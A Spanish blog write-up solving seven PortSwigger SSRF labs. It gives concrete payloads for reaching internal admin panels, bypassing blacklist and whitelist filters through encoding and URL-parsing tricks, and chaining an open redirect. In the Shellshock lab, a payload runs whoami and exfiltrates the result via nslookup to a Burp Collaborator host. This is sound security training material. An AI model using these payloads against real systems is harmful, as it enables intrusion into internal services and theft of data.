🌐 Sever-Side Request Forgery (SSRF)

Explicación acerca de Server-Side Request Forgery (SSRF)

Copyright © 2010-2025 Freepik Company S.L.

📋 Índice de Contenido

📋 Índice

💡¿Qué es el SSRF?

Un Server-Side Request Forgery (SSRF) ocurre cuando una aplicación web permite que un atacante haga que el servidor realice peticiones HTTP hacia un destino elegido por el atacante.
En lugar de que tu navegador ejecute la petición, es el servidor quien la ejecuta.

¿Por qué es peligroso?

El servidor suele tener acceso a recursos que un usuario externo normalmente no podría alcanzar, como:

  • Recursos internos de la red no accesibles desde fuera.
    Ejemplo:
    • http://localhost:8080
    • http://intranet/
    • http://169.254.169.254/ (metadatos en entornos cloud).
  • Servicios privados como:
    • Bases de datos.
    • Paneles de administración.
    • APIs internas.
  • Otros servidores, pudiendo usarse como pivot para:
    • Escaneo de red.
    • Explotación de servicios vulnerables internos.

En esta sección del blog utilizaremos los laboratorios de PortSwigger para explicar, paso a paso, los distintos escenarios en los que puede producirse SSRF.


🧪Laboratorios

En caso de que queráis ver la resolución directa de algún laboratorio, podéis utilizar el siguiente índice:

  • Lab 1: Basic SSRF against the local server
  • Lab 2: Basic SSRF against another back-end system
  • Lab 3: Basic SSRF against another back-end system
  • Lab 4: SSRF with blacklist-based input filter
  • Lab 5: SSRF with filter bypass via open redirection vulnerability
  • Lab 6: Blind SSRF with Shellshock exploitation
  • Lab 7: SSRF with whitelist-based input filter

Dado que los ataques SSRF no se clasifican estrictamente en grupos, sino más bien en diferentes formas de enfoque, abordaremos la resolución de los laboratorios de manera progresiva.


Lab 1

SSRF básico contra el servidor local

En este laboratorio, al igual que sucederá en muchos otros de esta sección, se nos solicita obtener acceso al panel de administración y eliminar al usuario Carlos de la página web.

En este caso, la página web dispone de funcionalidades muy limitadas, siendo la principal la posibilidad de consultar el stock de un producto.

Al interceptar dicha petición con BurpSuite, se observa lo siguiente:

Al final del análisis se observa que se están tramitando datos mediante el parámetro stockApi hacia una dirección URL de forma directa.

Si, por ejemplo, indicamos la dirección http://google.com y enviamos la petición, comprobamos que efectivamente somos redirigidos a Google. Esto confirma que el servidor está realizando las peticiones en nuestro lugar.

De este modo, si modificamos la petición para que apunte a http://localhost/admin, se puede verificar que se carga correctamente el panel de administración.

Como se puede observar, el botón de eliminar corresponde a un hipervínculo. Al revisar el código fuente de la página se identifica que este apunta a la ruta /admin/delete?username=carlos.

Por lo tanto, si tramitamos una petición utilizando el parámetro stockApi hacia la dirección http://localhost/admin/delete?username=carlos, conseguiremos completar el laboratorio, ya que se elimina al usuario Carlos.

Lab 2

SSRF básico contra otro servidor back-end

Una vez más se nos solicita acceder al panel de administración y eliminar al usuario Carlos.

En este caso se indica que el panel se encuentra en la dirección IP 192.168.0.X:8080, donde el último octeto es desconocido.

Si volvemos a consultar el stock de un producto y capturamos la petición con BurpSuite, observamos nuevamente el parámetro stockApi realizando una llamada a una URL, de forma similar al laboratorio anterior.

En este escenario, lo que podemos hacer es establecer en el parámetro la dirección http://192.168.0.X:8080 y enviar la petición al módulo Intruder para averiguar el último octeto. De este modo, se procede a descubrir la dirección completa del panel de administración.

Al iniciar el ataque, se observa que el servidor cuyo último octeto es 118 devuelve una respuesta diferente al resto de los servidores, lo que nos permite inferir que esa es la dirección correcta.

Por lo tanto, si tramitamos una petición mediante el parámetro stockApi hacia http://192.168.0.118:8080/admin/delete?username=carlos, se eliminará el usuario Carlos y se completará el laboratorio.

Lab 3

SSRF ciego con detección fuera de banda

En este caso se indica que el servidor hace uso de la cabecera Referer para realizar análisis sobre la web, por lo que podemos deducir que esta URL debe ser interpretada. Para completar el laboratorio, se solicita enviar una petición a un servidor del Burp Collaborator.

Si nos dirigimos a la página inicial e interceptamos una recarga, podemos observar el encabezado Referer. Podemos probar colocando directamente la dirección URL del Burp Collaborator, por ejemplo: Referer: https://0abmuswu9df8ca18assltggnmes5gv4k.oastify.com.

Al revisar BurpSuite, podemos confirmar que hemos recibido correctamente la petición HTTP.

Lab 4

SSRF con filtro de entrada basado en una lista negra

Una vez más se nos solicita acceder al panel de administración y eliminar al usuario Carlos.

En este caso se indica que el panel se encuentra en la dirección http://localhost/admin.

Si volvemos a consultar el stock de un producto y capturamos la petición con BurpSuite, observamos nuevamente el parámetro stockApi realizando una llamada a una URL, de forma similar a laboratorios anteriores.

No obstante, si probamos enviar la petición directamente a http://localhost/admin, no obtenemos ninguna respuesta. Se pueden intentar diferentes formas de representar localhost, como 127.0.0.1, en hexadecimal o en decimal, pero ninguna de estas resulta efectiva. Sin embargo, los ceros pueden omitirse, permitiendo referirse a localhost como 127.1.

En este caso, al enviar la petición a http://127.1, no se produce error, pero al añadir /admin deja de cargar. Una opción es url-encodear la barra / como %2F, pero enviar la petición http://127.1%2Fadmin tampoco funciona. Esto probablemente se deba a que el servidor, al hacer el URL-decode, interpreta la ruta como http://127.1/admin y la deniega.

Una solución es url-encodear el carácter % para que al decodificar la URL el servidor no detecte directamente la ruta /admin, pero aún así se acceda al panel. Por ejemplo, enviar:

stockApi=http://127.1/%2561dmin

De esta manera podemos visualizar el panel y, finalmente, eliminar al usuario Carlos enviando la petición:

stockApi=http://127.1/%2561dmin/delete?username=carlos

Lab 5

SSRF con omisión del filtro a través de una vulnerabilidad de redireccionamiento abierto

Una vez más se nos solicita acceder al panel de administración y eliminar al usuario Carlos.

En este caso se indica que el panel se encuentra en la dirección http://192.168.0.12:8080/admin.

Si volvemos a interceptar la consulta del stock de un producto, observamos que el parámetro stockApi ya no realiza la petición a una URL directa, sino que apunta a una ruta interna stockApi=/product/stock/check?productId=2&storeId=1.

Si intentamos aplicar los métodos de laboratorios anteriores, comprobamos que ninguno funciona en este caso.

Al explorar un poco más la web, notamos que dentro de un producto existe una opción para ir al siguiente. Al interceptar esta petición, se puede observar lo siguiente:

Si en el parámetro path colocamos la ruta a la raíz, por ejemplo http://....web-security-academy.net, y enviamos la petición, observamos que se nos redirige correctamente a esa URL. Esto puede hacer pensar que si colocamos http://192.168.0.12:8080/admin también deberíamos ser redirigidos al panel de administración; sin embargo, esto no ocurre.

Al analizar con detalle, tanto la ruta para ver el stock de un producto como la de “next product” parten del directorio /product. Esto indica que las peticiones se realizan al mismo nivel de directorio.

Por lo tanto, podemos modificar la petición de stockApi para que, en lugar de ir a /product/stock, se dirija a /product/nextProduct?currentProductId=5&path= y, en el parámetro path, colocar http://192.168.0.12:8080/admin. Esto se vería de la siguiente manera:

stockApi=/product/nextProduct?currentProductId=5%26path=http://192.168.0.12:8080/admin

De esta forma, se puede visualizar el panel de administración y eliminar al usuario Carlos mediante:

stockApi=/product/nextProduct?path=http://192.168.0.12:8080/admin/delete?username=carlos

Lab 6

SSRF con explotación Shellshock

En este caso se nos indica que, mediante la vulnerabilidad Shellshock, debemos obtener el nombre del usuario que está ejecutando un servidor en la dirección IP 192.168.0.X, donde nuevamente el último octeto es desconocido.

La vulnerabilidad Shellshock se presenta en versiones antiguas de Bash y siempre que se interpreten los headers de una solicitud. Su explotación suele ser más casual y espontánea, pero en este laboratorio se nos indica que está presente, por lo que podemos proceder directamente.

Esta vulnerabilidad suele encontrarse en el header User-Agent, ya que es una cabecera que comúnmente es procesada por el servidor. No se explicará cómo se produce la vulnerabilidad, solo cómo explotarla. Para ello se utiliza el siguiente payload:

() {:;}; <comando a ejecutar>

En este caso, queremos obtener el nombre del usuario, es decir, ejecutar el comando whoami. Para exfiltrar estos datos y visualizarlos, usamos el siguiente payload:

() {:;}; /usr/bin/nslookup $(whoami).5gml8slsilct0ngduilignxha8gz4ssh.oastify.com

Con esto ejecutamos el comando whoami y añadimos su resultado como subdominio de un servidor Burp Collaborator. De esta forma, recibimos en nuestro Burp Collaborator una petición donde la primera parte del subdominio corresponde al nombre del usuario.

Sin embargo, con esto solo no es suficiente, ya que no sabemos cuál servidor es vulnerable. Para identificarlo, utilizamos nuevamente la cabecera Referer y el módulo Intruder, colocando la dirección http://192.168.0.X y probando mediante fuerza bruta hasta identificar qué servidor responde. Este procedimiento se ejecuta de la siguiente manera:

Al revisar Burp Collaborator, observamos el siguiente mensaje:

The Collaborator server received a DNS lookup of type A for the domain name peter-d7uiKh.q1s6td6d36xel81yf36318i2vt1kpfd4.oastify.com

De esto podemos deducir que el nombre del usuario que está ejecutando el servidor es peter-d7uiKh.

Lab 7

SSRF con filtro de entrada basado en lista blanca

Una vez más se nos solicita acceder al panel de administración y eliminar al usuario Carlos.

En este caso se indica que el panel se encuentra en la dirección http://localhost/admin.

Al interceptar la consulta del stock de un producto, volvemos a observar que existe un parámetro stockApi encargado de proporcionar esta información. Si intentamos aplicar cualquiera de las técnicas de laboratorios anteriores, nos damos cuenta de que ninguna funciona.

Al experimentar con el comportamiento de la página, se muestra el siguiente error:

External stock check host must be stock.weliketoshop.net

Esto indica que se realiza una comprobación para verificar si la cadena stock.weliketoshop.net está presente en la API enviada.

En este punto, se pueden considerar dos aspectos: 1) la posibilidad de autenticación mediante la URL y 2) el uso del carácter # para redireccionamiento como si fuera un índice.

Si realizamos una petición al parámetro stockApi con el siguiente valor:

stockApi=http://test:test@stock.weliketoshop.net:8080/product/stock/check?productId=1&storeId=1

observamos que la petición fluye sin problemas, lo que indica que este formato es válido.

Antes de esto, se puede probar el uso del carácter #. Por ejemplo:

stockApi=http://localhost:80#stock.weliketoshop.net

En este caso, aunque la cadena stock.weliketoshop.net está presente, va después del #, por lo que se interpreta como un identificador de sección (id) de la URL principal (localhost:80) y no como una dirección válida. Al enviar esta petición, el mismo error vuelve a aparecer.

Sin embargo, al añadir un @ después del #, la situación cambia:

stockApi=http://localhost:80#@stock.weliketoshop.net

La petición se procesa correctamente y no vemos el error. Esto se debe a que el servidor no solo verifica la presencia de la cadena, sino también que sea una URL válida. La URL http://algo:algo@stock.weliketoshop.net se considera válida como autenticación, mientras que http://localhost:80#@stock.weliketoshop.net permite que la parte derecha del # se interprete como un identificador, evadiendo la validación directa de la URL. No obstante, para que esto funcione correctamente, es necesario url-encodear tanto el carácter # como el % del #. Es decir, el payload final sería:

stockApi=http://localhost:80%2523@stock.weliketoshop.net

Esto podría sugerir que si colocamos algo como http://localhost:80/admin#@stock.weliketoshop.net podría funcionar. Sin embargo, la barra / rompe la estructura válida para autenticación mediante URL, por lo que debemos buscar otra manera.

Si probamos con la siguiente URL, url-encodeada:

http://localhost:80%2523@stock.weliketoshop.net/admin

ahora sí podemos visualizar el panel de administración. Esto ocurre porque la parte después del # se ignora hasta que aparece una /. De esta manera, la validación comprueba la presencia de stock.weliketoshop.net, pero la interpretación final de la URL se realiza como http://localhost:80/admin.

Finalmente, para eliminar al usuario Carlos, se envía la siguiente solicitud:

stockApi=http://localhost:80%2523@stock.weliketoshop.net/admin/delete?username=carlos

Copyright © 2025 Mario Ramos. Distribuido bajo Licencia MIT.